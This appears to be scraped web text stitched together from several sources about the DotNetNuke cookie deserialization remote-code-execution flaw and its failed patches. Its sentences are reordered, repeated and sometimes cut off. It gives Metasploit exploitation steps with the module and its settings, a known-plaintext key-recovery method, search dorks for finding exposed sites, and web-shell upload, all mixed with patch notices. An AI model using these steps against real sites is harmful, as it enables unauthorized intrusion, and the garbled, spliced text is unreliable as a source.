To resolve the following Telerik Component vulnerabilities: CVE-2017-11317, CVE-2017-11357, CVE-2014-2217, you will need to apply a patch that has been developed by DNN from their Critical Security Update - September2017 blog post.Customers may also want to keep utilizing their Telerik module in DNN 9 without being forced to upgrade the whole instance. (/DNN Platform/Library/Common/Utilities/XmlUtils.cs), The program looks for the “key” and “type” attribute of the “item” XML node. This means you can inject maliciously crafted payloads in the requested format of the application and possibly manipulate its logic, disclose data, or even execute remote code. If you get the “The target appears to be vulnerable” message after running the check, you can proceed by entering the “exploit” command within the Metasploit Console. After that, you have to try each potential key until you find the one that works. You can use the following Google dorks to find available deployments across the Internet and test them against the DotNetNuke Cookie Deserialization CVE: Deserialization is the process of interpreting streams of bytes and transforming them into data that can be executed by an application. You can still retrieve the encryption key by gathering a list of verification codes of various newly created users, launch a partial known-plaintext attack against them, and reduce the possible number of valid encryption keys.

After having responsibly reported it through HackerOne, the DOD solved the high-severity vulnerability and disclosed the report, with all details now publicly available. But that The encryption key also presented a poor randomness level (low-entropy). It is so popular and so widely used across the Internet because you can deploy a DNN web instance in minutes, without needing a lot of technical knowledge. organizations deployed web platforms powered by DotNetNuke worldwide. Before we start, keep in mind the vulnerability was released under CVE-2017-9822, but the development team consistently failed at patching it, so they issued another four bypasses: We’ll look at all of them in the steps below. This process will take a little longer, depending on the number of encrypted registration codes you have collected. So besides the target host, target port, payload, encrypted verification code, and plaintext verification code, you also have to set the .DOTNETNUKE cookie of the user you registered within the Metasploit Console. DotNetNukeEXPLOIT. Advertisement. To upload a web shell and execute commands from it, place it inside of the DotNetNuke Exploit DB module, and import it into the Metasploit – as we did in the demo. The last failed patch attempt was to use different encryption keys for the DNNPersonalization cookie and the verification code. You have to expect the process to take some minutes, even hours. But this should not be a big issue if the encryption algorithm would be changed to a stronger and current one. Patches for these vulnerabilities are already available. Affects DotNetNuke versions 5.0.0 to 9.1.0. Finally, if the message “The target appears to be vulnerable” is returned after you run the check, you can proceed by entering the “exploit” command within Metasploit Console.

You can still retrieve the encryption key by gathering a list of verification codes of various newly created users, launch a partial known-plaintext attack against them, and reduce the possible number of valid encryption keys. If the message “The target appears to be vulnerable” is returned after you run the check, you can proceed by entering the “exploit” command within Metasploit Console. We won’t spam you with useless information. If you want to exploit DotNetNuke Cookie Deserialization through the Metasploit module (which is available through Exploit-DB), you only have to set the target host, target port, and a specific payload, as follows: msf5 > use exploit/windows/http/dnn_cookie_deserialization_rce, msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RHOSTS <TARGET>, msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set RPORT <TARGET PORT>, msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set payload <PAYLOAD>, msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGETURI <404 ERROR PAGE>, msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > set TARGET 1, msf5 exploit(windows/http/dnn_cookie_deserialization_rce) > check. With exploit With patch Vulnerability Intelligence. The Community Blog is a personal opinion of community members and by no means the official standpoint of DNN Corp or DNN Platform. The application will parse the XML input, deserialize, and execute it. Also, through this patch, the userID variables are no longer disclosed in a plaintext format and are now encrypted, but the portalID is still displayed in an unencrypted format. Spoofing attack in KDE Connect 30 Nov, 2020 Medium Patched. All images and content are copyright of Digitpol and can not be used, replicated or reproduced without written permission. You can also craft a custom payload using the DotNetNuke module within the ysoserial tool. Oh, wait… I forgot to mention the encryption remained the same (DES) and no changes were applied to it. You can find those issues in the DotNetNuke from 9.2.2 to 9.3.0-RC. proof-of-concept exploit writeup 0day cve-2020-11519 cve-2020-11520 ...

Regardless of the official CVE details, this issue affects only the 9.1.1 DNN version. (Default DotNetNuke 404 Error status page). Another important functionality DotNetNuke has is the ability to create or import 3rd party custom modules built with VB.NET or C#. You can start by analyzing the vulnerable source code of how the application processes the DNNPersonalization cookie XML value. Looking for a fix? You can get rid of this vulnerability by upgrading your DotNetNuke deployment to the latest version. You have to get the unencrypted format of this code by logging in as the new user, navigating to the “Edit Profile” page, inspecting the source code, and searching for the values of “userID” and “portalID” (possible to return a negative value. It’s an unprecedented series of events and we’ll be dealing with the aftermath for a long time to come. A big constraint of XmlSerializer is that it doesn’t work with types that have interface members (example: System.Diagnostic.Process). The first patch consisted of a DES implementation, which is a vulnerable and weak encryption algorithm. DotNetNuke CMS version 9.5.0 suffers from file extension check bypass vulnerability that allows for arbitrary file upload. This is a place to express personal thoughts about DNNPlatform, the community and its ecosystem. This cryptography scheme was used to encrypt both the DNNPersonalization cookie and the registration code sent to the email when you sign up through a DotNetNuke application that uses Verified Registration. 2020-02-24: CVE-2020-5186: DNN (formerly DotNetNuke) through 9.4.4 allows XSS (issue 1 of 2). After that, you have to try each potential key until you find the one that works. The main problem with deserialization is that most of the time it can take user input. You have to parse the plaintext portalID through the VERIFICATION_PLAIN variable, which you can extract by inspecting the source code of the “Edit Profile” page within any user settings page. If you get the “The target appears to be vulnerable” message after running the check, you can proceed by entering the “exploit” command within the Metasploit Console.
